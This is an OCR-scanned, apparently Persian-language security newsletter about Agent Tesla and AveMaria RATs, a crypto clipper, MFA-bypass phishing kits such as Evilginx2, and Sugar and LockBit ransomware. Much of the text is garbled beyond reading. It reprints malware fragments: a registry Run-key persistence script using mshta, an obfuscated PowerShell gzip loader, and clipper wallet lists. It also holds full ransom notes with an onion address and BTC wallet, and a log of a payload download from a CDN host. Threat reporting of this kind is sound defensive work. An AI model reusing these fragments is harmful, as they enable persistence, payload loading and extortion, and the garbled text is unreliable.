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111! ALL YOUR FILES HAVE BEEN ENCRYPTED !!!
2
1411 your files were encrypted using a private and unique key generated for the computer. This key
is stored in our server and the only way to receive your key and decrypt your files is making a
Bitcoin payment.
4
5Te purchase your key and decrypt your files, please follow these steps:
(3
71. Dowload the Tor Browser at "https://www.torproject.org/". If you need help, please Google for
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RAT e 9> ,» a5 AgentTesla g (cwl Ggme b AveMaria & «5) Warzone I ,g53e Hljl5 >
9 63903 By |y adwedlol wlelMbl ogSie (glayl3lan . 3d 0 odlaiwl aibbe awduiu (Remote Access Trojan)
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Set cbjl = GetObject ("winmgmes=:\\.
obil.SetStringValue &HBOOOOOOL, *
set MicrosoftWindows = GetObject(”

=Ltmsdfawsnrmua.lun ps emd, O

args =

et cbj2 = GetObject

ob32.Shellexecute "= args, ""

5et ob33 = GeTObject
m=nta_cmd =

leti3.5exstzingvalae sMsnoooont, - ARE\Microsoft ows\Cuzz: sion\Run®  “pilodkis*, mshta cmd
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Ol 1 poas ) azdl ablae Blogger colw )5 iyl (Sliv S i) jylie) 035iSed s Hlidla SO U sgd 0 Iyl Gols

R EUTT SRR VAR

. B bek2z: 19

e c

Sign in

[5) Blogger |

1 UNDERSTAND AND | WISH TO CONTINUE I do not wish to continue

Ao )3 634 03,4 (glo3lS ()S)g950 ygue (cWdjey Blgie a5 Cuwl NET (g)9lid o e RAT 95 < AgentTesla sl

2 ogle .l 034 (;a%0 (63935 U g o Lol PowerShell buwgs 953 5810 a5 wdyuw 1y oyue o Clipboard (glgiswe «auls

iS50 3y "aspnet_compiler.exe” ahz! ol @ 1) (5)l813 35 oS 315 3929 55 U (2l

aciwmdoaivwoduiamwodiumaowduimdaowduacivmdoaiuwoduiamwodiumaowduim System. IO . MemoryStream

SgzipStream =

daowduaoiwmdoaiuwodul amwod iumaowduimdacowduaciwmdos fuwodul amwod iumaowduindacwduas iwmdos Luwodul amwod { umaowduimdacwdy
aoiwmdoaiuvwoduiamwodiumaowduimdaowduaoiwmdoaiuwoduiamwodiumaowduim System.I0.Compression.GzipStream $imput, ([IO.
Compre=sion.CompressionMode] ! :Decompress)

§gzipStream.CopyTo ( $output )

SgzipStream.Cloza ()

Sinput.Close()

[byte[]]) SbytefmtArray = Soutput.ToArray()

Write-OQucput $byteOutArray

r t

[, Agent Tesla

FUNCTION COMBIMNEMEANINGSCOBOLTEOTASSIUM (8 IAFWBQIPASKBAMAGSWOTAFDHEASNDAS)

=]}
STARWBQI PASKBAMAGSWOTAKDHRASNDAS = 5 (5 LARWBQIPASFBAMAGSWQIARDHFASNDAS -Join [Envircnment] ::NewLine)
$TARWBQTPASKBAMAGSWQIARDERASNDASQ = [string]::join("", (§TARWBQIPASKBAMAGSWQIARDHRASNDAS . Split (" n")))
return § [ARWBQIPASKBAMAGSWQIAKDHKASNDASQ
A |
[byce[)] fooma = @{3L1,13%,8,0,0,0,0,0,4,0,208,189,7, +56,62,58, £ 35, pall, 245, . , [ J #3530,
10,87,66,39,17,238 36,144,142 104,114 ,6,147,€9,78,150 - o r = i, 4 2, i =
121,38, . f . 10, P18, 87, ' ' . .
' +170,238, 4,3 1,85, $53,77,75,1%3,223, »221,15 180,
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"OxSarf
"Ox8arfs ceLb-_zt1l J*“éﬂ_h:tos-nbc f95Tcdeece”, "OxBafSce2
$EtherenmAddressesSize = SEthereumAddresses.length

CE8L95Tcdeet™,
c69f957cdese™)

S¥mraddress = |

£

fKpyv7BdEmDE"™,
HLEfKpyvTEJEmRD

ENRovkLPMwiWs SOXmAREG
eNRovkLPMwi wsu.xr.'nRE
PMwiWs 50xmARE

"83JYuozSuBvinyli

§XmrAddressSize = anrhddre;l.lenqth

$X1MAddress = ("GDHEFFZIUVS
"EDXEEFFZUVSYTOV 2ZFUUGQIORTWQ
GDXEFF Zt"r.:hO\ PUUGQIORTWQ
"GDXEFF, i
"GDX&

XXPXYOUIOY6CDOXG4NPEOEQT™,
QXG4NPEOEQT™,

o

Qo Q

1 M m™

D

G

ChRbWUg9iQY18V ubURWEMmi JChREWUg9iQY18
u FeGTE4ryubURWE 1
rabURWFMmi JChREWUGSiQ
.SXRPAddressSize = $X¥RPAddress .length

ZApZozcEmD1 Jyr 3‘.\-1_‘T-rr__ ZefbnYME", "LZApZozcEmD1JynSvXqgSNEml1lSZefbnYMK",
"LEZApZozcEmD1Jyn mllS5ZefbnYMEK™, "LIApZozcEmDlJynSvigSNEmllSZefbnYME",
"LZApZozcEmD1Jyn. mll5ZefbnYMK"™)

§LTCAddressSize = §LTCAddress.length

$LTCAddress = ("

S$ADAMAdTess = ("reinstall windows"™, "reinstall windows", "reinscall windows®™, "reinstall windows",
"reinstall windows"™)
$ADAAddressSize = SADAAddress.length
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4 pgwge (Phishing Kit) “Siaiid (5)lj8hep glodim” jl Gegd jl (gloaialid )90 @ plazlge a5 losls )laiie (isial ¢ldise
baisl & - Multi-Factor Authentication) “(Sleledizs coga jly=l” (hg)y 935 595 (gl Transparent Reverse Proxy Kits
olelbl eéyw e |y (MITM jlaisl 4 - Man-in-The-Middle) ‘Sl 350" (92e (oSS T . 3iiS 50 o3laiwl (MFA

0550 )50 MFA )5 asuwedlol

29530 (5111l 03235 s’ (9002 Sy (LSl (6300l Cpde S0 9 S aSudd wige Sy (5) S b &S GI)S ol 5o
al 48)S )8 a0y 390

Oloyze o310 s Yol Jlw > MFA (hg) jl ) o)SgeunS g ¢ly)5 (g3u0)> YA OORY 22l ik aS (_’_)L’k.)_' 5l
d2wgd Jlo ) Cacpn 0 Oy (cloylpl ol aiwed MFA (35,9 cags Siuwind (sloylil (6)u5)50 Jlo ) Cacpun @ 55 (gl
oy (hls a5 sxumu glodiw U 3isiwd pgac (wyiwd )3 a5 4.;9)3 B2 9 G2 9 03w L guio (5)38l0) (slodiung jl L3iune
oylois MFA ziwcdlol asleMbl goie (550 (5525 (slopl Cdyw tags walizo (Wl s gjle 9 (gilwsa20 daxio

‘Lg)b._'i_cl L‘_"))lS (SUDA)LQ.JEJ 9 .)l)él b_l.o
@ powse GmSoy I T eoliwl id)S )8 liioe 4295 3)90 ofag Hob @ &5 Shuid gyl ol Gloudy | LS
LHE oy yd 5 WleMbl g Wldac 4 B sjlw 0 )38 |) ylaslgs a5 cuwl - TPR jLaisl 4 - Transparent Reverse Proxy

GleMbl Gioled b (93,5 3)lg ,aLii.m (OVile (830 (Haud B350 65l (Hlazlge 1 MITM 3)Shg) (pal 3kl didls (uwyiwd ;)9),0
S (5)9T8A? Iy oleMbl (il axao (g9,

Enters creds Forwards [T}
& MFA creds & MFA 1 |
— ———— S
[¥* t'-; —
—
Forwards MitM Phish Ki Ret
Victim . M PhishKit— Retarns Destination
session session
cookie I cookie bl
Threat Actor
Steals creds and
session cookie

newsroom.shabakeh.net



newsroom.shabakeh.net

\Foo didwl | wleMbl (g)9lid cuyiol dnlinlo

GRriwcdlol Slelbl ey ez plazlee ol )3 &5 Cunl i Sipdd (oghy) 4 Camd S)i (5359 puadS wguid ol
23S0 Windows (,=28lg @imaw (LOG-in Page) 3¢y axio Joo a1 pladl (Jlis ¢lgic 4103308550 Sloul Lles (placuke
olidl g Ua> (Sl iiao 3)S39) )3 4l S 3)lg e ladio o )3 1) 395 sgie (gl50) LS 9 0315 )8 1) 395 LS b
egbs i (Rlolid 9 38) o) Caely (Uil 9 (Mol ol dgiSyid (50235 (g)la5 @l jl oslaiunl (9zna® (53)l90 392 5L

A0 Gleo Olaaw g

Colw Olodo 2o 50 (Wi (50)8 @ ) (5=8lg Colw TPR (sla)lil a5 amd 0 i ¢ladse Julod g2alo a5 cul o )5 ¢l
03 381 Cappd azg0 (T (ol w512 @ (52Blg Ceplaw Al ceyalpliy Hbl 285 JUo )3 Upe 9 0392 Ly 5 )20 (5=3lg
@ jL5 g 392 2idlg> )38 (COOKIES) (595 (s hle widym b plazlee (Jl> e )3 59 Calw d)lg aly Jus L ) 9

ARk sy 3)90 (6 Clus 4 MFA Griwcdlol olebl b g jgie jo) ()5 06

O3l S o o3lisel TRP gy 5l a5 Siiind )il aw (6:5)150 jols job @ Tudl a5 3350 Ui pliiow wlidss gl

Gl aisb
Modliska

o3l )il ¢l 45 353905 pVel (laboe ol 634 pixito VolA Jlo ,5lgl 5l g aug3 (Slimg) (siuiol Fime S bawgs Modliska
Oleyd b bl SO il ¢l L3S Edw 1) cole SO @ by odwedlol lelbl his ¢loj o )5 30350 oKel ()5 @
oslaiwl Jlo )3 glotols wlelbl g (65 wleMbl edyuw (glp (55283 (6,05 kuly SG 51 9 5515 (Command Line Interface)

PR62 O 9B

Muraena/Necrobrowser

WJol B0 > el 034 JuSuis i 93 1 g i winiie o4 Jw )3 )b (gl (gl a5 el ()13l Muraena/Necrobrowser
394 (yakao U 0S50 o3laiuwl 55 )90 Colw (ings (sl (Crawler) )Suigs 4oy <y jl g 3950 1)z y9,uw Caaw ;> Muraena
Giwcdlol Slebl glil ¢l 390 azgio (S8 45 (5l5gS @ AT Gungiil ) b 3)90 Su8l)S plad Blgie iy @ LT &S

S (50 s |y Necrobrowser «ogs (ind )3 Guguws 9 63985 (591 &az 1) )S)950 ;565 Jold wlelbl g (;3b)8

6 &5 SIS (B by 99 (55900 S i Miblse (Headless Browser) Spjw 3818 15,5, X, Necrobrowser
09200 (R2)5 plil 9 )55 3)90 ol 4 39,9 Cag ) Sy @ (5loSeS WleMbl jl g oad eslaiuwl Whilac (gjlw) 539>
S0 03kl . g Jual )l (Google Workspace slogel (13,5 Jledjué guc joy juus

Evilginx2

Gl il SO plgie @ el (ladse jI (SO bawgd 1wl Hd oS cwl Golang ¢Lj p e ()l8ley Il SO Evilginx2
powge (sl ald 5l eslatiuwl el g el Cuas & ¢lgise o Glodasuie (1,5))b ;1 .ai aisl (Pen-Testing tool) g4
(S35 Cagz oS N YAML 95 1 (s3i)Sen (slobols Phishlet lobld .35 o)Ll wadbeuad i 5l o5 Phishlet a

Dgad 50 03laiwl Baa colw ) (Proxy) wSly

aS (plo QS0 JBiie ool Glamdo 4 ) gl ©yse Mg WiSse SulS Byl (SWS (59) p 39)9 T2 (Sb)S aS b.oli.&:
Az L b b_JL\)B AOLO) 0.31 PN A&SL’A us)m I) colw OT L>S9S (_ngngé 9 MFA b_'k.uuk./dbol OleMbl 99aC LSLQ’}") Ulnpl&o
03905 03latiwlegu 418y by 4 (565 s Wlelbl jl Llgs o Guuw azlgo . Blo o axbio Hlad )3 b dgd 0 Colie (6,50
G sl ) 395 9 423 plasl ) o3l 13,5 (5 9 y9ae 0y S Wilo (g332e GLaladl g 394 azmdio (o )lg LS sl 9



1Foo siawl | wlelbl 6)9Lid ol 4 olinlo

2> Sl @ 4295 b 9 Wgdise eolaiuwl MFA cusa jly=l (ig) 03] )95 sl gloailid yob @ Lol st 332 W)lil ¢l 42,5
vldd=e g Stony Brook eEuisly ¢ylibise T)pl loads iniel lasse (S5 usge g (wliss VirusTotal col
veusis |y MitM p Gite Siusind ol 1Woo Nlaiwslys () @b jl &5 Mlaisle g =hb 1) (¢l Palo Alto Networks
wawl 034 (plwlud VirusTotal colw 5 T IP (glo5lis jl Juoy3 1A g lodials ¢l 3o)d FY g5 o Jlo ol L .aies

al 039y yidien )lge (5 3 b joy Yo U T yae Job aSiyl péyale

9 SSS Cramw @ Cusyw © lazlge iS50 odlaiwl MFA (g jl (5 ks sloglojw ojgyel 45 (ol jl lalise aiaS &
colbw b el G¥game buwgs il g cunl bl jluw 3T cuas 1 Blesygl (g9 MitM (slaylil gzmen (5501 (gl
P JolS5 5l (16 )95 blES ol b abilde gz (5)5l) (8L ) o2l I Nigboas (lwlid VirusTotal gozee ¢Vl Ging:

b0 (6)9p6 L DMaz 4395 (0l

ol aellho (B 5 (Sl ) Siwiad cloylpl Gogas > ik Glyjs

https://www.proofpoint.com/us/blog/threat-insight/mfa-psa-oh-my
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El12 301 HITP whatismyipaddress.com | 0 ma-... test: 4008
Ti14 403 HTIPS whatismyipaddress.com | 13.2... prival. text/him.. test:4008
&15 301 HTTP wwwipZlocation.com |/ 162 text/html  test:4008
4¥17 200 HTTPS wwwiip2location.com [/ 41,1... max-.. text/htm.. test:4008
E1s 200 HTTP cin2546713.cdnmegafies.com  /data23072021_1.dat 76,6... test; 4008

B19 200 HTTP 179.43,160,195 [ 28 text/htm... test;4008
179.43.160.195 | text/htm... test:4008

S50 (513550 3l ) (51RL (IS b losds nnygd yj (gloaddiny )> 4 (63190 j2 @ 1) Lol ples ogSie )8l

Excluded folders:

‘windows’
\DRIVERSY
“WPerflLogsh
\temph
“booth

Excluded files:

BOOTHNXT
bootmgr
pagefile
.exe
.dll
.SYsS
.1lnk
.bat

. cmd
e
.manifest
.ttc
.cat

.msi;

25 pgal )3 &S johilan o (5)liS50) (sloald .S e (5)13550) SCOP 613550y @in)oSl 51 aslatiwl U |y o old yliélab ¢yl
Adbe .encoded0T Sguwy (ghls wads o3ls ¢Lis

(e |

cst:ﬁ“ » Computer » Local Disk (C:) » $test v [ #s || search stest 0|
Organize = Include in livrary - Share with = New foider =~ T e
v S | b, L B, e
) Libraries
e 8 - | s |
WOLY: Lldocencodeddl 1jpgencodeddl Lpng.encodedl 2doc.encoded0l 2jpg.encodeddl
W Computer SN = = (SN L
& Network
2 3. jpa Zpng Adoc
-9 =N =N L B

151 iterns
e

9wz a5 (gladgy o 5 |y BackFiles_encoded01.txt ob & (Ransom Note) (s,Sab Vel puizan Sugar )lélab
Sl S5 @ (639 9 3dapamio wwlid S (508 (R by 0)ly> (SleWbl (g9l (5252 Vel 2230 )8 iS5
15518 05 (HWS )d Tor Colw ¢l .adbse 2b eslsy wledbl edly)s ey Tor

chat5sgrnzgewampznybomgn4hf2m53tybkarxk4sfaktwt7ogpkevyd.onion
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4 BackFiles_encoded0L1xt - Notepad2

Eile Edit View Settings 2

Qe ey DA @ e @ g
1 [+] whats Happen? [+]

2

4Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension .encoded0l.
sBy the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant
6 return your data (NEVER).

s [+] what guarantees? [+]

9

10Its just a business. we absolutely do mot care about you and your deals, except getting benefits. If we de not do our
11work and liabilities - nobody will not cooperate with us. Its not in our interests.

12 To check the ability of returning files, yYou should go to our website. There you can decrypt 1-5 files for free. That
13 is

14 0ur guarantee.

15 If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause
16 just we have the private key. In practise - time is much more valuable than money.

i7

1s [+] How to get access on website? [+]

19

20You can open our site by the shortcut &quot;SUPPORT (TOR_BROWSER)&quot; created on the desktop.

2

22 Also as the second option you can install the tor browser:

2z a) bownload and install TOR browser from this site: https://torproject.org/

24 b) Open our website. Full Tink will be provided below.

25
26
=

29111 DANGER 11!

31 DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions
32 -
313 its may entail damge of the private key and, as result, The Loss all data.
34111 111
3SONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything
36 for restoring, but please should not interfere.
3zl 1)
a8 -
39 Your ID:
a0
41 KN N AR KN HEN RN R N v ORI AR KKK W S w oK st KA R W RAIERNC NN e YR KN o T S R 4
KA ne v K K NK AR S e o NSO N R N N RN 4 M N A O A S o e A AT el
S B AN NI A N g SR £ e e R AAAANNOIRENG K N M X R S R # oA W el DO
HONAA PR A, e NN N BN A DA S SR RN MR A H RO N kR K AR D0 OO, R Ko
w7 DK N S IBERIN AN AN ARSI PO X K I R ORI NN N N e e B PN e e K Nk S 26X S IR
N R PSR NG S G R N "L RN AR DL N e RN ol V\*h'//%/,\rx-{
N B AR S I, NI A KA I IR 7 o DB NN N N i R NI N e 8 e S N SN T
Ln42:45 Coll SelO 442 KB ANSI CR+LF INS Default Text

03D C_‘Aw|9'>)3 &L} dLuu)l Cago ()’95 Caw dyuus U.)Luw (59L> UJL\)Q (5])‘? b,uobax'pl A0 k.i) Jor Colw O.gl )‘| JJ.))LJ pliifb
G550y b @iy LiSje) el (SLyS (polaisl amdo ol )3 (ol 2 s9Ve 39450 0313 Ginlas (Chat) ply Jloyl ik 9
D Bl @)g0 @ 1y oab

Lesti *

e ] C Déc qrnzq P 3tybkar Toqpkovyd.onion gy 2

To decrypt your vow. Follow
to b r s ow. Fut

General-Decrypt

Cawlgs)> b.)l.wf),o) AlS (5313 (gl YU 3o Mz bdd g Cuwwl @S Hlwn )8R0 ()l UL?A.IC:IQ)E bwgi 03 Cuwlgs)s 2L &l

@il g diwlgs> 2L 4V Fool i)l a4y (5295 i 0.0000391) lgi5 SUGAr «Vas I (S0 )3 (oBinlel Joamo Sy ) 265 40

S50 dawlow |y GiwlgB)d 21 (¢yliae 03613550, (slo bl slass Gulwl p 158120 a5 S0 H & wlidss ol Gulel p

newsroom.shabakeh.net



\Foo idwl | wleVbl (g)0lid cuyiol A olidlo

Your Wallet Address - BTC(BitCoin): 37zRPNSbBU3z0BR7ygRlejgHa7UbMHcYpL |

Sum: 0.00009921

g2 55 Gl g Lol Lagidise 12l 15 (6)13S50) pLL S o G2 e h2! b ()l¥lal oSl ple SV
&S Gy pasuie pols Jlo ) e doldl iz sl (613550 0 a0 155 @ g 3)135 3929 0301 ) Hl8lal 5395 Egud
35 (2UiSiey 1) Ll 2L sl (91 9 T 5l (2920500 b olo a5 ail amud blas ghls Hhslzl ¢l

&uio

https://www.bleepingcomputer.com/news/security/a-look-at-the-new-sugar-ransomware-demanding-

low-ransoms
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[ALERT] LockBit ransomware gang has announced
Cryptocurrency Exchange "paybito” on the victim list.
pic.twitter.com/TTq4pv1lSRP

— DarkTracer : DarkWeb Criminal Intelligence
(@darktracer_int) February 3, 2022
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The plugin registers the /themesettings endpoint, which calls the saveThemeSettings function or
the getThemeSettings function depending on the request method.

The REST-API endpoint did use the permission_callback function, however, it was set to
__return_true which meant that no authentication was required to execute the functions.

Therefore, any user had access to execute the REST-API endpoint to save the email’s theme
settings or retrieve the email’s theme settings.
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Endpoint Security 10.7.0 February 2022

Endpoint Security 10.6.1 February 2022

Data Loss Prevention Endpoint 11.9

Threat Intelligence Exchange 3.0.3

MVISION Data Loss Prevention 2202

MVISION Insights February 2022

Web Gateway 10.2.6

Web Gateway 9.2.17

MVISION File and Removable Media (MVISION FRP) version 2201
Content Security Reporter 2.9.0
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GravityZone Control Center 6.27.1-4

Bitdefender Endpoint Security Tools for Windows 7.4.4.159
Bitdefender Endpoint Security Tools for Linux 7.0.3.1942
Bitdefender Endpoint Security for Mac 7.4.10.200014
Security Appliance Sandbox 1.0.3.11224

Sandbox Analyzer technology updates 0.2.2203
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VMware ESXi

VMware Workstation Pro / Player (Workstation)
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Adobe Premiere Rush

Adobe lllustrator

Adobe Photoshop

Adobe After Effects

Adobe Creative Cloud Desktop

Adobe Commerce and Magento Open Source
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